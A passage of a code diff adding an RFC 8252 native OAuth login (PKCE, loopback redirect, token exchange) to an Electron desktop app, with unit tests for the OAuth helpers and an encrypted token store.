+  /** Open a URL in the user's system browser (shell.openExternal). */
+  openExternal: (url: string) => Promise<void>
+  /** POST JSON and resolve the parsed body (electron.net-backed in prod). */
+  postJson: (url: string, body: unknown, opts?: { timeoutMs?: number }) => Promise<any>
+  /** http.createServer, injectable for tests. */
+  createServer?: typeof http.createServer
+  /** Clock + timeout, injectable for tests. */
+  now?: () => number
+  timeoutMs?: number
+  /** Optional logger for boot diagnostics. */
+  rememberLog?: (line: string) => void
+}
+
+/**
+ * Drive a full native login against `baseUrl` and return the token set.
+ *
+ * Steps: bind a loopback listener → open the system browser at the gateway's
+ * /auth/native/authorize with our PKCE challenge + loopback redirect_uri →
+ * await the ?code= redirect → verify state → POST /auth/native/token with the
+ * verifier → return tokens. Rejects on timeout, state mismatch, a gateway
+ * error param, or a token-exchange failure. Always tears the listener down.
+ */
+export async function runNativeLogin(
+  baseUrl: string,
+  deps: NativeLoginDeps,
+  opts: { provider?: string } = {}
+): Promise<NativeTokenSet> {
+  const createServer = deps.createServer || http.createServer
+  const timeoutMs = deps.timeoutMs ?? DEFAULT_LOGIN_TIMEOUT_MS
+  const log = deps.rememberLog || (() => undefined)
+
+  const { verifier, challenge } = generatePkcePair()
+  const state = generateState()
+
+  return new Promise<NativeTokenSet>((resolve, reject) => {
+    let settled = false
+    let timer: NodeJS.Timeout | null = null
+
+    const server = createServer((req, res) => {
+      // Only the callback path carries the code; any other path (favicon,
+      // etc.) still gets the friendly page so the browser tab looks sane.
+      const url = req.url || '/'
+
+      // Always answer the browser with the close page — we never surface the
+      // outcome to the browser, only to the app.
+      res.writeHead(200, { 'content-type': 'text/html; charset=utf-8' })
+      res.end(DONE_HTML)
+
+      if (settled) {
+        return
+      }
+
+      // Ignore non-callback noise (e.g. /favicon.ico) — wait for the ?code=.
+      if (!/[?&](code|error)=/.test(url)) {
+        return
+      }
+
+      try {
+        const { code } = parseLoopbackCallback(url, state)
+        finishWith(async () => {
+          const tokenBody = await deps.postJson(
+            nativeTokenUrl(baseUrl),
+            { code, code_verifier: verifier },
+            { timeoutMs: 15_000 }
+          )
+
+          return parseTokenResponse(tokenBody)
+        })
+      } catch (error) {
+        fail(error instanceof Error ? error : new Error(String(error)))
+      }
+    })
+
+    const cleanup = () => {
+      if (timer) {
+        clearTimeout(timer)
+      }
+
+      try {
+        server.close()
+      } catch {
+        // already closed
+      }
+    }
+
+    const fail = (error: Error) => {
+      if (settled) {
+        return
+      }
+
+      settled = true
+      cleanup()
+      reject(error)
+    }
+
+    const finishWith = (produce: () => Promise<NativeTokenSet>) => {
+      if (settled) {
+        return
+      }
+
+      settled = true
+      // Keep the listener up just long enough to have answered the browser,
+      // then redeem the code out-of-band.
+      produce()
+        .then(tokens => {
+          cleanup()
+          resolve(tokens)
+        })
+        .catch(error => {
+          cleanup()
+          reject(error instanceof Error ? error : new Error(String(error)))
+        })
+    }
+
+    server.on('error', err => fail(err instanceof Error ? err : new Error(String(err))))
+
+    // Bind an ephemeral loopback port, then open the browser.
+    server.listen(0, '127.0.0.1', () => {
+      const addr = server.address() as AddressInfo | null
+
+      if (!addr || typeof addr === 'string') {
+        fail(new Error('Failed to bind loopback listener for native login'))
+
+        return
+      }
+
+      const redirectUri = `http://127.0.0.1:${addr.port}/callback`
+
+      const authorizeUrl = buildNativeAuthorizeUrl(baseUrl, {
+        challenge,
+        redirectUri,
+        state,
+        provider: opts.provider
+      })
+
+      timer = setTimeout(() => {
+        fail(
+          new Error(
+            'Native sign-in timed out. The browser window may not have completed ' +
+              'sign-in; open Settings → Gateway and try again.'
+          )
+        )
+      }, timeoutMs)
+
+      log(`[native-oauth] loopback listening on 127.0.0.1:${addr.port}; opening system browser`)
+
+      deps.openExternal(authorizeUrl).catch(error => {
+        fail(
+          new Error(
+            `Could not open the system browser for native sign-in: ${
+              error instanceof Error ? error.message : String(error)
+            }`
+          )
+        )
+      })
+    })
+  })
+}
+
+export { DEFAULT_LOGIN_TIMEOUT_MS }
diff --git a/ui-desktop/electron/native-oauth.test.ts b/ui-desktop/electron/native-oauth.test.ts
new file mode 100644
index 000000000..7c4ca9ee8
--- /dev/null
+++ b/ui-desktop/electron/native-oauth.test.ts
@@ -0,0 +1,225 @@
+/**
+ * Tests for electron/native-oauth.ts — the pure RFC 8252 native-app login
+ * helpers (PKCE, capability detection, URL building, loopback callback
+ * parsing, token-response normalization, refresh-timing).
+ *
+ * Run with: node --test electron/native-oauth.test.ts
+ * (Wired into the vitest `electron` project via electron/**\/*.test.ts.)
+ */
+
+import assert from 'node:assert/strict'
+import { createHash } from 'node:crypto'
+
+import { test } from 'vitest'
+
+import {
+  buildNativeAuthorizeUrl,
+  generatePkcePair,
+  generateState,
+  NATIVE_FLOW_ID,
+  nativeRefreshUrl,
+  nativeTokenUrl,
+  parseLoopbackCallback,
+  parseStoredTokenSet,
+  parseTokenResponse,
+  resolveLoginStrategy,
+  statusSupportsNativeFlow,
+  tokenNeedsRefresh
+} from './native-oauth'
+
+// --- PKCE ---
+
+test('generatePkcePair produces a valid S256 verifier/challenge', () => {
+  const pair = generatePkcePair()
+
+  assert.equal(pair.method, 'S256')
+  // Verifier length within RFC 7636 range (43–128).
+  assert.ok(pair.verifier.length >= 43 && pair.verifier.length <= 128)
+
+  // Challenge must be the base64url SHA-256 of the verifier.
+  const expected = createHash('sha256')
+    .update(pair.verifier, 'ascii')
+    .digest('base64')
+    .replace(/\+/g, '-')
+    .replace(/\//g, '_')
+    .replace(/=+$/, '')
+
+  assert.equal(pair.challenge, expected)
+  // No padding / URL-unsafe chars.
+  assert.doesNotMatch(pair.verifier, /[+/=]/)
+  assert.doesNotMatch(pair.challenge, /[+/=]/)
+})
+
+test('generatePkcePair is unique per call', () => {
+  assert.notEqual(generatePkcePair().verifier, generatePkcePair().verifier)
+})
+
+test('generateState is non-empty and URL-safe', () => {
+  const s = generateState()
+
+  assert.ok(s.length > 0)
+  assert.doesNotMatch(s, /[+/=]/)
+})
+
+// --- capability detection ---
+
+test('statusSupportsNativeFlow reads the auth_flows array', () => {
+  assert.equal(statusSupportsNativeFlow({ auth_flows: ['cookie', NATIVE_FLOW_ID] }), true)
+  assert.equal(statusSupportsNativeFlow({ auth_flows: ['cookie'] }), false)
+  // Older gateway: no auth_flows field at all ⇒ not supported.
+  assert.equal(statusSupportsNativeFlow({ auth_required: true }), false)
+  assert.equal(statusSupportsNativeFlow({}), false)
+  assert.equal(statusSupportsNativeFlow(null), false)
+  // Malformed field shapes never throw.
+  assert.equal(statusSupportsNativeFlow({ auth_flows: 'native_pkce' }), false)
+})
+
+test('resolveLoginStrategy picks native only when advertised and not forced', () => {
+  const gated = { auth_required: true, auth_flows: ['cookie', 'native_pkce'] }
+  const legacy = { auth_required: true, auth_flows: ['cookie'] }
+
+  assert.equal(resolveLoginStrategy(gated), 'native')
+  // Compatibility fallback: an older gateway lacking native_pkce ⇒ embedded.
+  assert.equal(resolveLoginStrategy(legacy), 'embedded')
+  // A user/env override can pin the legacy flow even on a capable gateway.
+  assert.equal(resolveLoginStrategy(gated, { forceEmbedded: true }), 'embedded')
+})
+
+// --- URL building ---
+
+test('buildNativeAuthorizeUrl encodes params and honours a path prefix', () => {
+  const url = buildNativeAuthorizeUrl('https://gw.example.com', {
+    challenge: 'CHAL',
+    redirectUri: 'http://127.0.0.1:51000/callback',
+    state: 'STATE',
+    provider: 'nous'
+  })
+
+  const parsed = new URL(url)
+
+  assert.equal(parsed.origin, 'https://gw.example.com')
+  assert.equal(parsed.pathname, '/auth/native/authorize')
+  assert.equal(parsed.searchParams.get('code_challenge'), 'CHAL')
+  assert.equal(parsed.searchParams.get('code_challenge_method'), 'S256')
+  assert.equal(parsed.searchParams.get('redirect_uri'), 'http://127.0.0.1:51000/callback')
+  assert.equal(parsed.searchParams.get('state'), 'STATE')
+  assert.equal(parsed.searchParams.get('provider'), 'nous')
+})
+
+test('buildNativeAuthorizeUrl omits provider when not given and preserves prefix', () => {
+  const url = buildNativeAuthorizeUrl('https://gw.example.com/clawcodex', {
+    challenge: 'C',
+    redirectUri: 'http://127.0.0.1:1/cb',
+    state: 'S'
+  })
+
+  const parsed = new URL(url)
+
+  assert.equal(parsed.pathname, '/clawcodex/auth/native/authorize')
+  assert.equal(parsed.searchParams.get('provider'), null)
+})
+
+test('nativeTokenUrl / nativeRefreshUrl build the right endpoints', () => {
+  assert.equal(nativeTokenUrl('https://gw.example.com'), 'https://gw.example.com/auth/native/token')
+  assert.equal(nativeRefreshUrl('https://gw.example.com/clawcodex'), 'https://gw.example.com/clawcodex/auth/native/refresh')
+})
+
+// --- loopback callback parsing ---
+
+test('parseLoopbackCallback returns the code on a state match', () => {
+  const { code } = parseLoopbackCallback('/callback?code=abc123&state=xyz', 'xyz')
+
+  assert.equal(code, 'abc123')
+})
+
+test('parseLoopbackCallback throws on state mismatch (CSRF)', () => {
+  assert.throws(() => parseLoopbackCallback('/callback?code=abc&state=attacker', 'expected'), /state mismatch/i)
+})
+
+test('parseLoopbackCallback surfaces a gateway error param', () => {
+  assert.throws(
+    () => parseLoopbackCallback('/callback?error=access_denied&error_description=nope', 'xyz'),
+    /access_denied.*nope/i
+  )
+})
+
+test('parseLoopbackCallback throws when the code is absent', () => {
+  assert.throws(() => parseLoopbackCallback('/callback?state=xyz', 'xyz'), /missing authorization code/i)
+})
+
+// --- token response normalization ---
+
+test('parseTokenResponse maps a well-formed body', () => {
+  const t = parseTokenResponse({
+    access_token: 'AT',
+    refresh_token: 'RT',
+    token_type: 'Bearer',
+    expires_at: 1893456000,
+    provider: 'nous',
+    user_id: 'u-1'
+  })
+
+  assert.equal(t.accessToken, 'AT')
+  assert.equal(t.refreshToken, 'RT')
+  assert.equal(t.expiresAt, 1893456000)
+  assert.equal(t.provider, 'nous')
+  assert.equal(t.userId, 'u-1')
+})
+
+test('parseTokenResponse throws on a missing access token', () => {
+  assert.throws(() => parseTokenResponse({ refresh_token: 'RT' }), /missing access_token/i)
+})
+
+test('parseTokenResponse tolerates an absent refresh token / expiry', () => {
+  const t = parseTokenResponse({ access_token: 'AT' })
+
+  assert.equal(t.refreshToken, '')
+  assert.equal(t.expiresAt, 0)
+})
+
+test('parseStoredTokenSet maps the encrypted on-disk camelCase shape', () => {
+  const t = parseStoredTokenSet({
+    accessToken: 'AT-stored',
+    refreshToken: 'RT-stored',
+    expiresAt: 1893456000,
+    provider: 'self-hosted',
+    userId: 'u-stored'
+  })
+
+  assert.equal(t.accessToken, 'AT-stored')
+  assert.equal(t.refreshToken, 'RT-stored')
+  assert.equal(t.expiresAt, 1893456000)
+  assert.equal(t.provider, 'self-hosted')
+  assert.equal(t.userId, 'u-stored')
+})
+
+test('parseTokenResponse cannot read a persisted set (the reload bug #73271)', () => {
+  // Guards against regressing to the wrong parser on the reload path: a
+  // persisted camelCase set has no snake_case access_token, so the raw-response
+  // parser throws — which is exactly why the stored path must use
+  // parseStoredTokenSet instead.
+  const persisted = JSON.parse(
+    JSON.stringify({ accessToken: 'AT', refreshToken: 'RT', expiresAt: 1, provider: 'nous', userId: 'u' })
+  )
+
+  assert.throws(() => parseTokenResponse(persisted), /missing access_token/i)
+  assert.equal(parseStoredTokenSet(persisted).accessToken, 'AT')
+})
+
+test('parseStoredTokenSet rejects a non-normalized server response', () => {
+  assert.throws(() => parseStoredTokenSet({ access_token: 'AT-server' }), /missing accessToken/i)
+})
+
+// --- refresh timing ---
+
+test('tokenNeedsRefresh respects the skew window', () => {
+  const now = 1_000_000
+  // Expires comfortably in the future ⇒ no refresh.
+  assert.equal(tokenNeedsRefresh({ expiresAt: now + 3600 }, now), false)
+  // Within the 60s skew ⇒ refresh early.
+  assert.equal(tokenNeedsRefresh({ expiresAt: now + 30 }, now), true)
+  // Already expired ⇒ refresh.
+  assert.equal(tokenNeedsRefresh({ expiresAt: now - 10 }, now), true)
+  // Unknown expiry ⇒ refresh (validate before use).
+  assert.equal(tokenNeedsRefresh({ expiresAt: 0 }, now), true)
+})
diff --git a/ui-desktop/electron/native-oauth.ts b/ui-desktop/electron/native-oauth.ts
new file mode 100644
index 000000000..6b6a66376
--- /dev/null
+++ b/ui-desktop/electron/native-oauth.ts
@@ -0,0 +1,239 @@
+/**
+ * native-oauth.ts
+ *
+ * Pure, electron-free helpers for the desktop's RFC 8252 (OAuth 2.0 for Native
+ * Apps) login to a gated ClawCodex gateway: system-browser + loopback redirect +
+ * PKCE, with tokens returned to the app (never browser session cookies).
+ *
+ * Kept standalone (no `import 'electron'`) so it unit-tests with `node --test`
+ * — same pattern as connection-config.ts. main.ts owns the electron-coupled
+ * parts (the actual http.Server loopback listener, shell.openExternal, and
+ * safeStorage keychain writes) and calls these helpers for the pure logic.
+ *
+ * Why the gateway brokers the flow (not a direct desktop→IDP client): the
+ * upstream IDP (Nous Portal) issues a per-gateway-instance client_id and only
+ * accepts a redirect_uri on the gateway's own origin, so a desktop loopback
+ * redirect can't be a direct Portal client. Instead the gateway exposes
+ * /auth/native/{authorize,token,refresh}: it is the authorization server to
+ * the desktop and an OAuth client to Portal. The desktop still gets the full
+ * RFC 8252 experience — its own PKCE pair, its own loopback redirect, tokens
+ * it stores itself.
+ *
+ * Capability detection: the gateway advertises supported flows on the public
+ * /api/status `auth_flows` array. `native_pkce` present ⇒ use this flow;
+ * absent (older gateway) ⇒ the caller falls back to the embedded-webview
+ * cookie flow. This is the "observable ladder / compatibility fallback tied to
+ * an identified older runtime" the desktop guide requires.
+ */
+
+import { createHash, randomBytes } from 'node:crypto'
+
+// The gateway status field that lists supported auth flows. See
+// clawcodex_cli/web_server.py status handler.
+const NATIVE_FLOW_ID = 'native_pkce'
+
+export interface NativePkcePair {
+  verifier: string
+  challenge: string
+  method: 'S256'
+}
+
+export interface NativeTokenSet {
+  accessToken: string
+  refreshToken: string
+  expiresAt: number
+  provider: string
+  userId: string
+}
+
+/** base64url without `=` padding (RFC 7636 §4). */
+function b64url(raw: Buffer): string {
+  return raw.toString('base64').replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '')
+}
+
+/**
+ * Generate a PKCE verifier/challenge pair (S256). The verifier is 32 random
+ * bytes base64url-encoded (43 chars, within RFC 7636's 43–128 range).
+ */
+export function generatePkcePair(randomImpl: (n: number) => Buffer = randomBytes): NativePkcePair {
+  const verifier = b64url(randomImpl(32))
+  const challenge = b64url(createHash('sha256').update(verifier, 'ascii').digest())
+
+  return { verifier, challenge, method: 'S256' }
+}
+
+/** A high-entropy CSRF `state` value for the loopback round trip. */
+export function generateState(randomImpl: (n: number) => Buffer = randomBytes): string {
+  return b64url(randomImpl(24))
+}
+
+/**
+ * True if a gateway `/api/status` body advertises the native PKCE flow.
+ * Tolerant of the field being absent (older gateway) or malformed.
+ */
+export function statusSupportsNativeFlow(statusBody: any): boolean {
+  const flows = statusBody && statusBody.auth_flows
+
+  return Array.isArray(flows) && flows.includes(NATIVE_FLOW_ID)
+}
+
+/**
+ * Decide the login strategy for a gated gateway from its status body.
+ * Returns 'native' when the gateway can do RFC 8252 AND we're not forced to
+ * the legacy path; 'embedded' otherwise (older gateway ⇒ webview fallback).
+ *
+ * `forceEmbedded` lets a user/setting or an env override pin the legacy flow
+ * (e.g. a corporate proxy that blocks loopback). Precedence written down here,
+ * in one place, as a pure function — per the desktop "observable ladder" rule.
+ */
+export function resolveLoginStrategy(statusBody: any, opts: { forceEmbedded?: boolean } = {}): 'native' | 'embedded' {
+  if (opts.forceEmbedded) {
+    return 'embedded'
+  }
+
+  return statusSupportsNativeFlow(statusBody) ? 'native' : 'embedded'
+}
+
+/**
+ * Build the gateway `/auth/native/authorize` URL the system browser opens.
+ * `redirectUri` is the desktop's loopback callback (127.0.0.1:<port>/...).
+ * `provider` is optional — omitted lets the gateway pick when it has exactly
+ * one session provider (the common hosted case).
+ */
+export function buildNativeAuthorizeUrl(
+  baseUrl: string,
+  params: { challenge: string; redirectUri: string; state: string; provider?: string }
+): string {
+  const parsed = new URL(baseUrl)
+  const prefix = parsed.pathname.replace(/\/+$/, '')
+
+  const q = new URLSearchParams({
+    code_challenge: params.challenge,
+    code_challenge_method: 'S256',
+    redirect_uri: params.redirectUri,
+    state: params.state
+  })
+
+  if (params.provider) {
+    q.set('provider', params.provider)
+  }
+
+  return `${parsed.protocol}//${parsed.host}${prefix}/auth/native/authorize?${q.toString()}`
+}
+
+/** The `/auth/native/token` endpoint URL for a gateway base URL. */
+export function nativeTokenUrl(baseUrl: string): string {
+  const parsed = new URL(baseUrl)
+  const prefix = parsed.pathname.replace(/\/+$/, '')
+
+  return `${parsed.protocol}//${parsed.host}${prefix}/auth/native/token`
+}
+
+/** The `/auth/native/refresh` endpoint URL for a gateway base URL. */
+export function nativeRefreshUrl(baseUrl: string): string {
+  const parsed = new URL(baseUrl)
+  const prefix = parsed.pathname.replace(/\/+$/, '')
+
+  return `${parsed.protocol}//${parsed.host}${prefix}/auth/native/refresh`
+}
+
+/**
+ * Parse the loopback redirect the gateway sends the browser to. Returns the
+ * `code` + `state`, or throws with the gateway's `error` if the flow failed.
+ * `expectedState` MUST match (CSRF defense — RFC 6749 §10.12); a mismatch
+ * throws rather than proceeding.
+ */
+export function parseLoopbackCallback(requestUrl: string, expectedState: string): { code: string } {
+  // requestUrl is the path+query the loopback server received, e.g.
+  // "/callback?code=...&state=...". Resolve against a dummy origin to parse.
+  const parsed = new URL(requestUrl, 'http://127.0.0.1')
+  const error = parsed.searchParams.get('error')
+
+  if (error) {
+    const desc = parsed.searchParams.get('error_description') || ''
+    throw new Error(`Gateway rejected native login: ${error}${desc ? ` (${desc})` : ''}`)
+  }
+
+  const code = parsed.searchParams.get('code') || ''
+  const state = parsed.searchParams.get('state') || ''
+
+  if (!code) {
+    throw new Error('Loopback callback missing authorization code')
+  }
+
+  if (!expectedState || state !== expectedState) {
+    // Never redeem a code that arrived with a mismatched state — it may be a
+    // forged callback trying to inject an attacker's code.
+    throw new Error('Loopback callback state mismatch (possible CSRF)')
+  }
+
+  return { code }
+}
+
+/**
+ * Normalize a `/auth/native/token` (or refresh) JSON response into a
+ * NativeTokenSet, validating the shape. Throws on a missing/short access
+ * token so a malformed response fails loudly rather than storing junk.
+ */
+export function parseTokenResponse(body: any): NativeTokenSet {
+  const accessToken = String(body?.access_token || '')
+
+  if (!accessToken) {
+    throw new Error('Gateway token response missing access_token')
+  }
+
+  const expiresAt = Number(body?.expires_at)
+
+  return {
+    accessToken,
+    refreshToken: String(body?.refresh_token || ''),
+    expiresAt: Number.isFinite(expiresAt) ? expiresAt : 0,
+    provider: String(body?.provider || ''),
+    userId: String(body?.user_id || '')
+  }
+}
+
+/**
+ * Validate a token set loaded from the encrypted local store.
+ *
+ * The stored representation is already normalized as NativeTokenSet and
+ * therefore uses camelCase. Gateway token responses use snake_case and
+ * remain handled separately by parseTokenResponse().
+ */
+export function parseStoredTokenSet(body: any): NativeTokenSet {
+  const accessToken = String(body?.accessToken || '')
+
+  if (!accessToken) {
+    throw new Error('Stored token set missing accessToken')
+  }
+
+  const expiresAt = Number(body?.expiresAt)
+
+  return {
+    accessToken,
+    refreshToken: String(body?.refreshToken || ''),
+    expiresAt: Number.isFinite(expiresAt) ? expiresAt : 0,
+    provider: String(body?.provider || ''),
+    userId: String(body?.userId || '')
+  }
+}
+
+/**
+ * True when a stored token set is at/near expiry and should be refreshed
+ * before use. `skewSeconds` refreshes slightly early to avoid a race where
+ * the token expires in flight (mirrors the server's 60s cookie floor).
+ */
+export function tokenNeedsRefresh(
+  tokens: Pick<NativeTokenSet, 'expiresAt'>,
+  nowSeconds: number,
+  skewSeconds = 60
+): boolean {
+  if (!tokens || !Number.isFinite(tokens.expiresAt) || tokens.expiresAt <= 0) {
+    // Unknown expiry ⇒ treat as needing refresh so we validate before use.
+    return true
+  }
+
+  return nowSeconds >= tokens.expiresAt - skewSeconds
+}
+
+export { NATIVE_FLOW_ID }
diff --git a/ui-desktop/electron/native-token-store.test.ts b/ui-desktop/electron/native-token-store.test.ts
new file mode 100644
index 000000000..f9cf84bba
--- /dev/null
+++ b/ui-desktop/electron/native-token-store.test.ts
@@ -0,0 +1,423 @@
+/**
+ * Tests for electron/native-token-store.ts — the encrypted-at-rest persistence
+ * seam main.ts uses for RFC 8252 native OAuth tokens.
+ *
+ * The regression this file exists for (#73271): tokens are persisted as a
+ * normalized camelCase NativeTokenSet, but the reload path fed the freshly
+ * decrypted object to parseTokenResponse(), which only understands the
+ * gateway's snake_case response. It threw on every launch, so a signed-in user
+ * came back signed out. The parser boundary now lives inside
+ * loadNativeTokenSet(), so these tests fail if it is ever crossed again.
+ *
+ * "Fresh load" here means what it means after a restart: nothing survives but
+ * the bytes of the store file, so every assertion below is served by
+ * deserializing and decrypting that text — never by an in-memory object.
+ *
+ * (Wired into the vitest `electron` project via electron/**\/*.test.ts.)
+ */
+
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import { type NativeTokenSet, parseStoredTokenSet, parseTokenResponse } from './native-oauth'
+import { loadNativeTokenSet, type NativeTokenStoreIo, persistNativeTokenSet } from './native-token-store'
+
+const GATEWAY = 'https://gw.example.com'
+
+const TOKENS: NativeTokenSet = {
+  accessToken: 'AT-live-abc123',
+  refreshToken: 'RT-live-xyz789',
+  expiresAt: 1_893_456_000,
+  provider: 'nous',
+  userId: 'u-42'
+}
+
+interface FakeDisk {
+  io: NativeTokenStoreIo
+  logs: string[]
+  /** The store-file text as it would sit on disk; null when the file is absent. */
+  fileText: () => string | null
+}
+
+/**
+ * A stand-in for the userData store file plus safeStorage. Encryption is
+ * base64 rather than the OS keychain — opaque-blob-in, same-plaintext-out is
+ * the only property this seam depends on, and it keeps the round trip
+ * observable. `initialText` models a process restart: the new "process" starts
+ * with nothing but the bytes the previous one wrote.
+ */
+function createFakeDisk(initialText: string | null = null, overrides: Partial<NativeTokenStoreIo> = {}): FakeDisk {
+  let text = initialText
+  const logs: string[] = []
+
+  const io: NativeTokenStoreIo = {
+    encrypt: plaintext => ({ encoding: 'safeStorage', value: Buffer.from(plaintext, 'utf8').toString('base64') }),
+    decrypt: secret =>
+      secret?.encoding === 'safeStorage' ? Buffer.from(String(secret.value), 'base64').toString('utf8') : '',
+    readStoreText: () => {
+      if (text === null) {
+        // Matches fs.readFileSync on a missing file: throws, not empty string.
+        throw Object.assign(new Error('ENOENT: no such file or directory'), { code: 'ENOENT' })
+      }
+
+      return text
+    },
+    writeStoreText: next => {
+      text = next
+    },
+    rememberLog: message => logs.push(message),
+    ...overrides
+  }
+
+  return { io, logs, fileText: () => text }
+}
+
+// --- the restart round trip ---
+
+test('a camelCase token set survives store then a fresh load', () => {
+  const first = createFakeDisk()
+
+  persistNativeTokenSet(GATEWAY, TOKENS, first.io)
+
+  const onDisk = first.fileText()
+
+  assert.ok(onDisk, 'persisting must write the store file')
+
+  // Nothing may survive the "restart" except those bytes.
+  const restarted = createFakeDisk(onDisk)
+  const loaded = loadNativeTokenSet(GATEWAY, restarted.io)
+
+  assert.ok(loaded, 'a stored token set must reload after a restart')
+  // Reconstructed from the payload, not handed back the object we stored.
+  assert.notEqual(loaded, TOKENS)
+  assert.deepEqual(loaded, TOKENS)
+  assert.deepEqual(restarted.logs, [])
+})
+
+test('a fresh load restores both tokens and preserves expiry, provider and user', () => {
+  const first = createFakeDisk()
+
+  persistNativeTokenSet(GATEWAY, TOKENS, first.io)
+
+  const loaded = loadNativeTokenSet(GATEWAY, createFakeDisk(first.fileText()).io)!
+
+  assert.equal(loaded.accessToken, 'AT-live-abc123')
+  assert.equal(loaded.refreshToken, 'RT-live-xyz789')
+  // Still a number after the JSON round trip, not "1893456000".
+  assert.equal(loaded.expiresAt, 1_893_456_000)
+  assert.equal(typeof loaded.expiresAt, 'number')
+  assert.equal(loaded.provider, 'nous')
+  assert.equal(loaded.userId, 'u-42')
+})
+
+test('the loaded set is accepted by the stored-token parsing boundary', () => {
+  const first = createFakeDisk()
+
+  persistNativeTokenSet(GATEWAY, TOKENS, first.io)
+
+  const loaded = loadNativeTokenSet(GATEWAY, createFakeDisk(first.fileText()).io)!
+
+  // What comes back out of the store is itself a valid stored set — re-parsing
+  // it is a no-op, so callers can hand it straight to the refresh path.
+  assert.deepEqual(parseStoredTokenSet(loaded), loaded)
+})
+
+test('the persisted payload is what broke the old reload path (#73271)', () => {
+  const first = createFakeDisk()
+
+  persistNativeTokenSet(GATEWAY, TOKENS, first.io)
+
+  const restarted = createFakeDisk(first.fileText())
+  const secret = JSON.parse(restarted.fileText()!)[GATEWAY]
+  const decrypted = JSON.parse(restarted.io.decrypt(secret))
+
+  // The old code passed exactly this object to parseTokenResponse(). A
+  // normalized set has no snake_case access_token, so every launch threw and
+  // the user was shown as signed out...
+  assert.throws(() => parseTokenResponse(decrypted), /missing access_token/i)
+  // ...while the real load path reads the same bytes successfully.
+  assert.deepEqual(loadNativeTokenSet(GATEWAY, restarted.io), TOKENS)
+})
+
+test('the full login-to-restart sequence keeps the two parser boundaries apart', () => {
+  // Login: the gateway answers /auth/native/token in snake_case, and only
+  // parseTokenResponse() understands that shape.
+  const fromGateway = parseTokenResponse({
+    access_token: 'AT-fresh',
+    refresh_token: 'RT-fresh',
+    expires_at: 1_893_456_789,
+    provider: 'nous',
+    user_id: 'u-77'
+  })
+
+  const first = createFakeDisk()
+
+  persistNativeTokenSet(GATEWAY, fromGateway, first.io)
+
+  // Restart: what was stored is normalized, so the store's own boundary reads
+  // it back unchanged.
+  assert.deepEqual(loadNativeTokenSet(GATEWAY, createFakeDisk(first.fileText()).io), fromGateway)
+})
+
+// --- storage hygiene ---
+
+test('tokens are encrypted at rest, never plaintext in the store file', () => {
+  const disk = createFakeDisk()
+
+  persistNativeTokenSet(GATEWAY, TOKENS, disk.io)
+
+  const onDisk = disk.fileText()!
+
+  assert.doesNotMatch(onDisk, /AT-live-abc123/)
+  assert.doesNotMatch(onDisk, /RT-live-xyz789/)
+  assert.equal(JSON.parse(onDisk)[GATEWAY].encoding, 'safeStorage')
+})
+
+test('persisting one gateway leaves other gateways intact', () => {
+  const other = 'https://other.example.com'
+  const disk = createFakeDisk()
+
+  persistNativeTokenSet(GATEWAY, TOKENS, disk.io)
+  persistNativeTokenSet(other, { ...TOKENS, accessToken: 'AT-other', userId: 'u-99' }, disk.io)
+
+  const restarted = createFakeDisk(disk.fileText())
+
+  assert.equal(loadNativeTokenSet(GATEWAY, restarted.io)!.accessToken, 'AT-live-abc123')
+  assert.equal(loadNativeTokenSet(other, restarted.io)!.accessToken, 'AT-other')
+})
+
+test('clearing removes only that gateway and reloads as signed out', () => {
+  const other = 'https://other.example.com'
+  const disk = createFakeDisk()
+
+  persistNativeTokenSet(GATEWAY, TOKENS, disk.io)
+  persistNativeTokenSet(other, TOKENS, disk.io)
+  persistNativeTokenSet(GATEWAY, null, disk.io)
+
+  const restarted = createFakeDisk(disk.fileText())
+
+  assert.equal(loadNativeTokenSet(GATEWAY, restarted.io), null)
+  assert.ok(loadNativeTokenSet(other, restarted.io))
+})
+
+test('an absent store file loads as signed out without logging a failure', () => {
+  const disk = createFakeDisk()
+
+  assert.equal(loadNativeTokenSet(GATEWAY, disk.io), null)
+  assert.deepEqual(disk.logs, [])
+})
+
+// --- failure paths (unchanged by the extraction) ---
+
+test('a locked keychain keeps the stored entry for a later retry', () => {
+  const first = createFakeDisk()
+
+  persistNativeTokenSet(GATEWAY, TOKENS, first.io)
+
+  // safeStorage unavailable at load time ⇒ decryptDesktopSecret returns ''.
+  const locked = createFakeDisk(first.fileText(), { decrypt: () => '' })
+
+  assert.equal(loadNativeTokenSet(GATEWAY, locked.io), null)
+  assert.match(locked.logs[0], /failed to decrypt stored tokens for https:\/\/gw\.example\.com/)
+  assert.match(locked.logs[0], /keeping stored entry for retry/)
+  // The refresh token must NOT be dropped just because the keychain was locked.
+  assert.deepEqual(locked.fileText(), first.fileText())
+})
+
+test('a corrupt store file loads as signed out instead of throwing', () => {
+  const disk = createFakeDisk('{not json')
+
+  assert.equal(loadNativeTokenSet(GATEWAY, disk.io), null)
+  assert.deepEqual(disk.logs, [])
+})
+
+test('an array store file loads as signed out instead of throwing', () => {
+  const disk = createFakeDisk('[]')
+
+  assert.equal(loadNativeTokenSet(GATEWAY, disk.io), null)
+  assert.deepEqual(disk.logs, [])
+})
+
+test('an array store file is replaced by a real map rather than swallowing the write', () => {
+  const disk = createFakeDisk('[]')
+
+  persistNativeTokenSet(GATEWAY, TOKENS, disk.io)
+
+  const written = JSON.parse(disk.fileText()!)
+
+  // Assigning store[baseUrl] on an array sets a non-index property, which
+  // JSON.stringify drops — the write would report success and the tokens would
+  // be gone on the next launch.
+  assert.equal(Array.isArray(written), false)
+  assert.ok(written[GATEWAY], 'the gateway entry must survive serialization')
+  // And it really does come back after a restart.
+  assert.deepEqual(loadNativeTokenSet(GATEWAY, createFakeDisk(disk.fileText()).io), TOKENS)
+})
+
+test('a corrupt decrypted blob is reported and loads as signed out', () => {
+  const disk = createFakeDisk(JSON.stringify({ [GATEWAY]: { encoding: 'safeStorage', value: 'bm90LWpzb24=' } }))
+
+  assert.equal(loadNativeTokenSet(GATEWAY, disk.io), null)
+  assert.match(disk.logs[0], /failed to load stored tokens for https:\/\/gw\.example\.com/)
+})
+
+test('a decrypted blob missing accessToken is rejected, not half-restored', () => {
+  const plaintext = JSON.stringify({ refreshToken: 'RT-only', provider: 'nous' })
+
+  const disk = createFakeDisk(
+    JSON.stringify({ [GATEWAY]: { encoding: 'safeStorage', value: Buffer.from(plaintext).toString('base64') } })
+  )
+
+  assert.equal(loadNativeTokenSet(GATEWAY, disk.io), null)
+  assert.match(disk.logs[0], /missing accessToken/i)
+})
+
+test('a non-Error decryption failure keeps its detail in the log', () => {
